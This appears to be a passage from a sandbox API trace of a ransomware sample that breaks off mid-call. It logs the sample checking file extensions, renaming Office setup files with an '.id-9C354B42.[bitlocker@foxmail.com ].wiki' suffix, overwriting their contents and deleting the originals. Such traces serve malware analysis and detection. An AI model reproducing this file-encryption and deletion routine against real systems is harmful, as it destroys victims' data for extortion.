[0190.465] lstrlenW (lpString=".rar") returned 4 [0190.465] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0190.465] lstrlenW (lpString=".bz2") returned 4 [0190.465] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0190.465] lstrlenW (lpString=".7z") returned 3 [0190.465] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0190.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.465] lstrlenW (lpString=".dbf") returned 4 [0190.465] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0190.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.465] lstrlenW (lpString=".1cd") returned 4 [0190.465] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0190.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.465] lstrlenW (lpString=".jpg") returned 4 [0190.465] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0190.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.465] lstrlenW (lpString=".doc") returned 4 [0190.465] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0190.465] lstrlenW (lpString=".docx") returned 5 [0190.465] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0190.465] lstrlenW (lpString=".pdf") returned 4 [0190.465] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0190.465] lstrlenW (lpString=".xls") returned 4 [0190.465] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0190.465] lstrlenW (lpString=".xlsx") returned 5 [0190.465] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0190.466] lstrlenW (lpString=".ppt") returned 4 [0190.466] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0190.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.466] lstrlenW (lpString=".zip") returned 4 [0190.466] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0190.466] lstrlenW (lpString=".rar") returned 4 [0190.466] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0190.466] lstrlenW (lpString=".bz2") returned 4 [0190.466] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0190.466] lstrlenW (lpString=".7z") returned 3 [0190.466] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0190.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.466] lstrlenW (lpString=".dbf") returned 4 [0190.466] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0190.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.466] lstrlenW (lpString=".1cd") returned 4 [0190.466] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0190.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.466] lstrlenW (lpString=".jpg") returned 4 [0190.466] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0190.466] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0190.466] lstrlenW (lpString="OSETUP.DLL") returned 10 [0190.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.467] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7379816) returned 1 [0190.467] CloseHandle (hObject=0x1d0) returned 1 [0190.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0190.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0190.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.468] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0190.468] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0190.468] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0190.488] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0190.488] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0190.519] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0190.519] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0190.519] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0190.729] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.729] WriteFile (in: hFile=0x1d0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0190.743] SetEndOfFile (hFile=0x1d0) returned 1 [0190.743] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4281060 [0190.782] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0190.782] WriteFile (in: hFile=0x1d0, lpBuffer=0x4281060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4281060*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0190.784] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0190.784] WriteFile (in: hFile=0x1d0, lpBuffer=0x4281060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4281060*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0190.786] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0190.786] WriteFile (in: hFile=0x1d0, lpBuffer=0x4281060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4281060*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0190.788] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4281060 | out: hHeap=0x5c0000) returned 1 [0190.788] CloseHandle (hObject=0x1d0) returned 1 [0190.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.788] lstrlenW (lpString=".doc") returned 4 [0190.788] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.788] lstrlenW (lpString=".docx") returned 5 [0190.788] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0190.788] lstrlenW (lpString=".pdf") returned 4 [0190.788] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.788] lstrlenW (lpString=".xls") returned 4 [0190.788] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.788] lstrlenW (lpString=".xlsx") returned 5 [0190.788] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0190.789] lstrlenW (lpString=".ppt") returned 4 [0190.789] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.789] lstrlenW (lpString=".zip") returned 4 [0190.789] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.789] lstrlenW (lpString=".rar") returned 4 [0190.789] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.789] lstrlenW (lpString=".bz2") returned 4 [0190.789] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.789] lstrlenW (lpString=".7z") returned 3 [0190.789] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.789] lstrlenW (lpString=".dbf") returned 4 [0190.789] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.789] lstrlenW (lpString=".1cd") returned 4 [0190.789] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.789] lstrlenW (lpString=".jpg") returned 4 [0190.789] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.789] lstrlenW (lpString=".doc") returned 4 [0190.789] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.789] lstrlenW (lpString=".docx") returned 5 [0190.789] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0190.789] lstrlenW (lpString=".pdf") returned 4 [0190.789] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.789] lstrlenW (lpString=".xls") returned 4 [0190.790] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.790] lstrlenW (lpString=".xlsx") returned 5 [0190.790] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0190.790] lstrlenW (lpString=".ppt") returned 4 [0190.790] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.790] lstrlenW (lpString=".zip") returned 4 [0190.790] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.790] lstrlenW (lpString=".rar") returned 4 [0190.790] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.790] lstrlenW (lpString=".bz2") returned 4 [0190.790] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.790] lstrlenW (lpString=".7z") returned 3 [0190.790] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.790] lstrlenW (lpString=".dbf") returned 4 [0190.790] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.790] lstrlenW (lpString=".1cd") returned 4 [0190.790] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0190.790] lstrlenW (lpString=".jpg") returned 4 [0190.790] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.791] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0190.791] lstrlenW (lpString="OSetupPS.dll") returned 12 [0190.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.791] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=47520) returned 1 [0190.791] CloseHandle (hObject=0x1d0) returned 1 [0190.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0190.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.792] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.792] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0190.792] GetLastError () returned 0x0 [0190.792] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xb9a0, lpOverlapped=0x0) returned 1 [0190.877] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xb9b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xb9b0, lpOverlapped=0x0) returned 1 [0190.880] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.881] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.881] SetEndOfFile (hFile=0x220) returned 1 [0190.881] CloseHandle (hObject=0x220) returned 1 [0190.881] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.881] SetEndOfFile (hFile=0x1d0) returned 1 [0190.882] CloseHandle (hObject=0x1d0) returned 1 [0190.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.882] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 1 [0190.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.882] lstrlenW (lpString=".doc") returned 4 [0190.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0190.882] lstrlenW (lpString=".docx") returned 5 [0190.882] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1 [0190.882] lstrlenW (lpString=".pdf") returned 4 [0190.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString=".xls") returned 4 [0190.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString=".xlsx") returned 5 [0190.883] lstrcmpiW (lpString1=".xlsx", lpString2="S.dll") returned -1 [0190.883] lstrlenW (lpString=".ppt") returned 4 [0190.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.883] lstrlenW (lpString=".zip") returned 4 [0190.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString=".rar") returned 4 [0190.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString=".bz2") returned 4 [0190.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0190.883] lstrlenW (lpString=".7z") returned 3 [0190.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0190.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.883] lstrlenW (lpString=".dbf") returned 4 [0190.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0190.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.883] lstrlenW (lpString=".1cd") returned 4 [0190.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0190.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.883] lstrlenW (lpString=".jpg") returned 4 [0190.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.883] lstrlenW (lpString=".doc") returned 4 [0190.883] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString=".docx") returned 5 [0190.883] lstrcmpiW (lpString1=".docx", lpString2="S.dll") returned -1 [0190.883] lstrlenW (lpString=".pdf") returned 4 [0190.883] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0190.883] lstrlenW (lpString=".xls") returned 4 [0190.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0190.884] lstrlenW (lpString=".xlsx") returned 5 [0190.884] lstrcmpiW (lpString1=".xlsx", lpString2="S.dll") returned -1 [0190.884] lstrlenW (lpString=".ppt") returned 4 [0190.884] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0190.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.884] lstrlenW (lpString=".zip") returned 4 [0190.884] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0190.884] lstrlenW (lpString=".rar") returned 4 [0190.884] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0190.884] lstrlenW (lpString=".bz2") returned 4 [0190.884] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0190.884] lstrlenW (lpString=".7z") returned 3 [0190.884] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0190.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.884] lstrlenW (lpString=".dbf") returned 4 [0190.884] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0190.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.884] lstrlenW (lpString=".1cd") returned 4 [0190.884] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0190.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0190.884] lstrlenW (lpString=".jpg") returned 4 [0190.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0190.884] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0190.884] lstrlenW (lpString="pidgenx.dll") returned 11 [0190.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.885] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1463568) returned 1 [0190.885] CloseHandle (hObject=0x1d0) returned 1 [0190.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0190.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.885] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.885] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0190.886] GetLastError () returned 0x0 [0190.886] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0191.030] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0191.180] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x65520, lpOverlapped=0x0) returned 1 [0191.209] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x65530, 